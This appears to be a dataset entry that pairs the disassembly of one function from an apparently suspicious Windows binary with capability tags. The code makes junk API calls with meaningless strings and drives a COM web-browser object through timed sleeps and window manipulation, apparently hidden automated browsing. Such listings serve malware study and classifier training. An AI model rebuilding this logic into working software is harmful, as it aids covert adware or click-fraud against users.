Function at 0x1001c950
Capabilities:
Get disk information
Initialize iwebbrowser2

Disassembly:
mov eax, 0x1004461f
call fcn.10033d28
sub esp, 0x4c
push edi
xor edi, edi
push edi
push edi
push str.udhk
mov dword [ebp - 0x18], ecx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
push edi
push edi
push edi
push str.efbg
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
push edi
push 0x10047b4c
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push edi
push edi
push edi
push 0x10047b44
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x10], edi
lea eax, [ebp - 0x10]
push eax
push 0x10046fd0
push 7
push edi
push 0x10047b34
mov dword [ebp - 4], edi
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp eax, edi
mov eax, dword [ebp - 0x10]
jge 0x1001c9d1
or dword [ebp - 4], 0xffffffff
cmp eax, edi
je 0x1001c9ca
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor al, al
jmp 0x1001cbf7
push ebx
lea edx, [ebp - 0x14]
push edx
mov dword [ebp - 0x14], edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x94]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0xa4]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0x118]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xf0]
mov ebx, dword [ebp + 0xc]
cmp ebx, edi
jne 0x1001ca17
cmp dword [ebp + 0x10], edi
je 0x1001ca6a
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x110]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0xc4]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0xac]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0xbc]
cmp ebx, edi
jne 0x1001ca54
cmp dword [ebp + 0x10], edi
je 0x1001ca6a
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x68]
mov eax, dword [ebp - 0x10]
push dword [ebp + 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x70]
push esi
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.1000fe23
mov esi, 0x100464df
push esi
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 1
mov word [ebp - 0x58], di
call fcn.1001015c
push esi
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 2
mov word [ebp - 0x48], di
call fcn.1001015c
push esi
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 3
mov word [ebp - 0x38], di
call fcn.1001015c
mov word [ebp - 0x28], 3
mov dword [ebp - 0x20], 0xe
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
lea edx, [ebp - 0x58]
push edx
lea edx, [ebp - 0x48]
push edx
lea edx, [ebp - 0x38]
push edx
lea edx, [ebp - 0x28]
push edx
push dword [ebp + 8]
mov byte [ebp - 4], 5
push eax
call dword [ecx + 0x2c]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x28]
push eax
call esi
lea eax, [ebp - 0x38]
push eax
call esi
lea eax, [ebp - 0x48]
push eax
call esi
lea eax, [ebp - 0x58]
push eax
mov byte [ebp - 4], 1
call esi
mov esi, 0x7d0
cmp ebx, esi
jne 0x1001cb33
cmp dword [ebp + 0x10], esi
jne 0x1001cb33
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0xa4]
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x80]
mov ebx, eax
jmp 0x1001cba0
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x38]
mov eax, dword [ebp + 0x14]
push 0x64
cdq
pop ebx
idiv ebx
cmp edx, dword [ecx + 0x2c]
jl 0x1001cbc2
mov eax, dword [ecx + 0x28]
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xa4]
cmp dword [ebp + 0xc], esi
mov ebx, eax
jne 0x1001cb71
cmp dword [ebp + 0x10], esi
je 0x1001cba0
cmp dword [ebp - 0x14], edi
je 0x1001cba0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x38]
cmp dword [eax + 0x18], edi
jne 0x1001cb97
push 0x4653
push edi
push edi
push edi
push edi
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetWindowPos]
jmp 0x1001cba0
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
push dword [ebp + 8]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
or dword [ebp - 4], 0xffffffff
cmp ebx, edi
mov eax, dword [ebp - 0x10]
jge 0x1001cbe9
cmp eax, edi
je 0x1001cbbe
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor al, al
jmp 0x1001cbf5
push 0x493e0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x80]
push dword [ebp + 8]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
cmp eax, edi
je 0x1001cbf3
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov al, 1
pop esi
pop ebx
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
leave
ret 0x10